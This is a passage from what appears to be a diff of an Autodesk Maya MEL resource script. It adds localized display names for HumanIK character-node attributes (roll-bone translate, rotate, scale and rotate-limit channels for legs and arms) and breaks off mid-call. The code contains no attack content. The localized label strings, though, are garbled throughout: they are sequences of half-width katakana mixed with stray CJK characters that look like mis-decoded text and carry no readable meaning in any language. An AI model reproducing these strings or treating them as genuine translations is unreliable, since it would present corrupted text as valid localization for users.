"LeafLeftLegRoll4MaxRLimitz", "メカラヘネイ犹 4 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MinRLimitEnablex", "ニモテメカラヘネイ犹 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MinRLimitEnabley", "ニモテメカラヘネイ犹 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MinRLimitEnablez", "ニモテメカラヘネイ犹 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MaxRLimitEnablex", "ニモテメカラヘネイ犹 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MaxRLimitEnabley", "ニモテメカラヘネイ犹 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MaxRLimitEnablez", "ニモテメカラヘネイ犹 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4", "メカモメエヘネイ犹 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4T", "メカモメエヘネイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4Tx", "メカモメエヘネイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4Ty", "メカモメエヘネイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4Tz", "メカモメエヘネイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4R", "メカモメエヘネイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4Rx", "メカモメエヘネイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4Ry", "メカモメエヘネイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4Rz", "メカモメエヘネイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4S", "メカモメエヘネイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4Sx", "メカモメエヘネイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4Sy", "メカモメエヘネイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4Sz", "メカモメエヘネイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateOrder", "メカモメエヘネイ犹 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateAxis", "メカモメエヘネイ犹 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateAxisx", "メカモメエヘネイ犹 4 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateAxisy", "メカモメエヘネイ犹 4 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateAxisz", "メカモメエヘネイ犹 4 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4JointOrient", "メカモメエヘネイ犹 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4JointOrientx", "メカモメエヘネイ犹 4 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4JointOrienty", "メカモメエヘネイ犹 4 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4JointOrientz", "メカモメエヘネイ犹 4 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MinRLimit", "メカモメエヘネイ犹 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MinRLimitx", "メカモメエヘネイ犹 4 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MinRLimity", "メカモメエヘネイ犹 4 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MinRLimitz", "メカモメエヘネイ犹 4 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MaxRLimit", "メカモメエヘネイ犹 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MaxRLimitx", "メカモメエヘネイ犹 4 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MaxRLimity", "メカモメエヘネイ犹 4 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MaxRLimitz", "メカモメエヘネイ犹 4 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MinRLimitEnablex", "ニモテメカモメエヘネイ犹 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MinRLimitEnabley", "ニモテメカモメエヘネイ犹 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MinRLimitEnablez", "ニモテメカモメエヘネイ犹 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MaxRLimitEnablex", "ニモテメカモメエヘネイ犹 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MaxRLimitEnabley", "ニモテメカモメエヘネイ犹 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll4MaxRLimitEnablez", "ニモテメカモメエヘネイ犹 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4", "メカモメヘネイ犹 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4T", "メカモメヘネイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4Tx", "メカモメヘネイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4Ty", "メカモメヘネイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4Tz", "メカモメヘネイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4R", "メカモメヘネイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4Rx", "メカモメヘネイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4Ry", "メカモメヘネイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4Rz", "メカモメヘネイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4S", "メカモメヘネイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4Sx", "メカモメヘネイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4Sy", "メカモメヘネイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4Sz", "メカモメヘネイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4RotateOrder", "メカモメヘネイ犹 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4RotateAxis", "メカモメヘネイ犹 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4RotateAxisx", "メカモメヘネイ犹 4 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4RotateAxisy", "メカモメヘネイ犹 4 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4RotateAxisz", "メカモメヘネイ犹 4 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4JointOrient", "メカモメヘネイ犹 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4JointOrientx", "メカモメヘネイ犹 4 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4JointOrienty", "メカモメヘネイ犹 4 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4JointOrientz", "メカモメヘネイ犹 4 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MinRLimit", "メカモメヘネイ犹 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MinRLimitx", "メカモメヘネイ犹 4 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MinRLimity", "メカモメヘネイ犹 4 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MinRLimitz", "メカモメヘネイ犹 4 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MaxRLimit", "メカモメヘネイ犹 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MaxRLimitx", "メカモメヘネイ犹 4 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MaxRLimity", "メカモメヘネイ犹 4 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MaxRLimitz", "メカモメヘネイ犹 4 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MinRLimitEnablex", "ニモテメカモメヘネイ犹 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MinRLimitEnabley", "ニモテメカモメヘネイ犹 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MinRLimitEnablez", "ニモテメカモメヘネイ犹 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MaxRLimitEnablex", "ニモテメカモメヘネイ犹 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MaxRLimitEnabley", "ニモテメカモメヘネイ犹 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll4MaxRLimitEnablez", "ニモテメカモメヘネイ犹 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4", "メカラアロイ犹 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4T", "メカラアロイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4Tx", "メカラアロイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4Ty", "メカラアロイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4Tz", "メカラアロイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4R", "メカラアロイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4Rx", "メカラアロイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4Ry", "メカラアロイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4Rz", "メカラアロイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4S", "メカラアロイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4Sx", "メカラアロイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4Sy", "メカラアロイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4Sz", "メカラアロイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateOrder", "メカラアロイ犹 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateAxis", "メカラアロイ犹 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateAxisx", "メカラアロイ犹 4 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateAxisy", "メカラアロイ犹 4 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateAxisz", "メカラアロイ犹 4 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4JointOrient", "メカラアロイ犹 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4JointOrientx", "メカラアロイ犹 4 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4JointOrienty", "メカラアロイ犹 4 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4JointOrientz", "メカラアロイ犹 4 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MinRLimit", "メカラアロイ犹 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MinRLimitx", "メカラアロイ犹 4 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MinRLimity", "メカラアロイ犹 4 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MinRLimitz", "メカラアロイ犹 4 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MaxRLimit", "メカラアロイ犹 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MaxRLimitx", "メカラアロイ犹 4 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MaxRLimity", "メカラアロイ犹 4 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MaxRLimitz", "メカラアロイ犹 4 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MinRLimitEnablex", "ニモテメカラアロイ犹 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MinRLimitEnabley", "ニモテメカラアロイ犹 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MinRLimitEnablez", "ニモテメカラアロイ犹 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MaxRLimitEnablex", "ニモテメカラアロイ犹 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MaxRLimitEnabley", "ニモテメカラアロイ犹 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll4MaxRLimitEnablez", "ニモテメカラアロイ犹 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4", "メカラヌーアロイ犹 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4T", "メカラヌーアロイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4Tx", "メカラヌーアロイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4Ty", "メカラヌーアロイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4Tz", "メカラヌーアロイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4R", "メカラヌーアロイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4Rx", "メカラヌーアロイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4Ry", "メカラヌーアロイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4Rz", "メカラヌーアロイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4S", "メカラヌーアロイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4Sx", "メカラヌーアロイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4Sy", "メカラヌーアロイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4Sz", "メカラヌーアロイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateOrder", "メカラヌーアロイ犹 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateAxis", "メカラヌーアロイ犹 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateAxisx", "メカラヌーアロイ犹 4 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateAxisy", "メカラヌーアロイ犹 4 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateAxisz", "メカラヌーアロイ犹 4 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4JointOrient", "メカラヌーアロイ犹 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4JointOrientx", "メカラヌーアロイ犹 4 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4JointOrienty", "メカラヌーアロイ犹 4 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4JointOrientz", "メカラヌーアロイ犹 4 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MinRLimit", "メカラヌーアロイ犹 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MinRLimitx", "メカラヌーアロイ犹 4 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MinRLimity", "メカラヌーアロイ犹 4 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MinRLimitz", "メカラヌーアロイ犹 4 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MaxRLimit", "メカラヌーアロイ犹 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MaxRLimitx", "メカラヌーアロイ犹 4 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MaxRLimity", "メカラヌーアロイ犹 4 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MaxRLimitz", "メカラヌーアロイ犹 4 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MinRLimitEnablex", "ニモテメカラヌーアロイ犹 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MinRLimitEnabley", "ニモテメカラヌーアロイ犹 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MinRLimitEnablez", "ニモテメカラヌーアロイ犹 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MaxRLimitEnablex", "ニモテメカラヌーアロイ犹 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MaxRLimitEnabley", "ニモテメカラヌーアロイ犹 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll4MaxRLimitEnablez", "ニモテメカラヌーアロイ犹 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4", "メカモメアロイ犹 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4T", "メカモメアロイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4Tx", "メカモメアロイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4Ty", "メカモメアロイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4Tz", "メカモメアロイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4R", "メカモメアロイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4Rx", "メカモメアロイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4Ry", "メカモメアロイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4Rz", "メカモメアロイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4S", "メカモメアロイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4Sx", "メカモメアロイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4Sy", "メカモメアロイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4Sz", "メカモメアロイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4RotateOrder", "メカモメアロイ犹 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4RotateAxis", "メカモメアロイ犹 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4RotateAxisx", "メカモメアロイ犹 4 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4RotateAxisy", "メカモメアロイ犹 4 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4RotateAxisz", "メカモメアロイ犹 4 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4JointOrient", "メカモメアロイ犹 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4JointOrientx", "メカモメアロイ犹 4 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4JointOrienty", "メカモメアロイ犹 4 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4JointOrientz", "メカモメアロイ犹 4 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MinRLimit", "メカモメアロイ犹 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MinRLimitx", "メカモメアロイ犹 4 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MinRLimity", "メカモメアロイ犹 4 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MinRLimitz", "メカモメアロイ犹 4 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MaxRLimit", "メカモメアロイ犹 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MaxRLimitx", "メカモメアロイ犹 4 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MaxRLimity", "メカモメアロイ犹 4 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MaxRLimitz", "メカモメアロイ犹 4 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MinRLimitEnablex", "ニモテメカモメアロイ犹 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MinRLimitEnabley", "ニモテメカモメアロイ犹 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MinRLimitEnablez", "ニモテメカモメアロイ犹 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MaxRLimitEnablex", "ニモテメカモメアロイ犹 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MaxRLimitEnabley", "ニモテメカモメアロイ犹 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MaxRLimitEnablez", "ニモテメカモメアロイ犹 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4", "メカモメヌーアロイ犹 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4T", "メカモメヌーアロイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4Tx", "メカモメヌーアロイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4Ty", "メカモメヌーアロイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4Tz", "メカモメヌーアロイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4R", "メカモメヌーアロイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4Rx", "メカモメヌーアロイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4Ry", "メカモメヌーアロイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4Rz", "メカモメヌーアロイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4S", "メカモメヌーアロイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4Sx", "メカモメヌーアロイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4Sy", "メカモメヌーアロイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4Sz", "メカモメヌーアロイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4RotateOrder", "メカモメヌーアロイ犹 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4RotateAxis", "メカモメヌーアロイ犹 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4RotateAxisx", "メカモメヌーアロイ犹 4 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4RotateAxisy", "メカモメヌーアロイ犹 4 ミラェヨ y" ); +setAttrNiceNameResource( 